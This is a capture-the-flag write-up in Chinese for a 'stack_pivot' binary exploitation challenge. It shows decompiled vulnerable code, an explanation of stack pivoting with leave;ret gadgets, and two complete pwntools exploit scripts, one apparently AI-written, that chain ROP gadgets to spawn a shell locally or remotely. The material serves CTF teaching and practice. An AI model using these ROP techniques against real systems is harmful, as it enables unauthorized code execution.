stack_pivot
反编译:
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[512]; // [rsp+0h] [rbp-200h] BYREF
init();
vuln(v4);
return 0;
}
ssize_t __fastcall vuln(void *a1)
{
_BYTE v2[80]; // [rsp+10h] [rbp-50h] BYREF
puts("Pivot me if you can!");
printf("buf @ %p\n", a1);
printf("puts @ %p\n", &puts);
puts("Stage your ROP chain:");
read(0, a1, 0x200u);
puts("Now overflow:");
return read(0, v2, 0x60u);
}
给了栈地址和 libc 地址,但是第二次 overflow 只能覆盖保存的 rbp 和返回地址,因此需要 stack pivoting,利用两次 leave; ret,通过 rbp,把栈挪到第一次 overflow 的栈空间(实际上,这题因为 main 和 vuln 函数的栈是连着的,不用 stack pivoting 也行,这里主要是为了演示这种思路,刻意把两段 ROP 分开写),再进行 rop 攻击:
from pwn import *
context(log_level="DEBUG")
context.terminal = ["tmux", "split-w", "-h"]
context.arch = "amd64"
if args.REMOTE:
p = remote(args.HOST, args.PORT)
else:
# p = process("strace -o strace.log ./vuln.patched", shell=True)
p = process("./vuln.patched")
elf = ELF("./vuln.patched")
libc = elf.libc
p.recvuntil(b"buf @ ")
stack_addr = int(p.recvline().decode(), 16)
print(f"stack addr 0x{stack_addr:x}")
p.recvuntil(b"puts @ ")
puts_addr = int(p.recvline().decode(), 16)
print(f"puts addr 0x{puts_addr:x}")
libc_addr = puts_addr - libc.symbols["puts"]
print(f"libc addr 0x{libc_addr:x}")
libc.address = libc_addr
rop = ROP(libc)
leave_ret = rop.find_gadget(["leave", "ret"]).address
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
ret = rop.find_gadget(["ret"]).address
sh_addr = next(libc.search(b"/bin/sh\x00"))
payload = b"B" * 0x20 + p64(pop_rdi_ret) + p64(sh_addr) + p64(libc.symbols["system"])
print(payload)
p.recvuntil(b"Stage your ROP chain:")
p.send(payload)
# first leave; ret:
# rsp = rbp; pop rbp; pop rip
# then, rbp is stack_addr + 0x18
# second leave; ret:
# rsp = rbp; pop rbp; pop rip
# rop chain continues at stack_addr + 0x20
payload = b"A" * 0x50 + p64(stack_addr + 0x18) + p64(leave_ret)
print(payload)
p.recvuntil(b"Now overflow:")
# pause()
# gdb.attach(p)
p.send(payload)
p.interactive()
AI 完成的攻击脚本,思路和上面类似:
from pwn import *
context.arch = 'amd64'
binary = ELF('./vuln')
libc = ELF('./libc.so.6')
leave_ret = 0x40128e
ret = 0x40101a
puts_off = libc.symbols['puts']
system_off = libc.symbols['system']
binsh_off = next(libc.search(b'/bin/sh'))
pop_rdi_ret_off = 0x2a3e5
def exploit(host=None, port=None):
if host:
p = remote(host, port)
else:
p = process('./vuln.patched')
p.recvuntil(b'buf @ ')
buf_addr = int(p.recvuntil(b'\n').strip(), 16)
log.info(f"buf @ {hex(buf_addr)}")
p.recvuntil(b'puts @ ')
puts_addr = int(p.recvuntil(b'\n').strip(), 16)
log.info(f"puts @ {hex(puts_addr)}")
libc_base = puts_addr - puts_off
log.info(f"libc @ {hex(libc_base)}")
pop_rdi_ret = libc_base + pop_rdi_ret_off
system = libc_base + system_off
binsh = libc_base + binsh_off
p.recvuntil(b'Stage your ROP chain:\n')
rop_chain = b'A' * 8
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(binsh)
rop_chain += p64(ret)
rop_chain += p64(system)
p.send(rop_chain)
p.recvuntil(b'Now overflow:\n')
payload = b'B' * 0x50
payload += p64(buf_addr)
payload += p64(leave_ret)
p.send(payload)
p.sendline(b'id')
log.info(p.recvline(timeout=3).decode().strip())
p.close()
if __name__ == '__main__':
import sys
if len(sys.argv) > 2:
exploit(sys.argv[1], int(sys.argv[2]))
else:
exploit()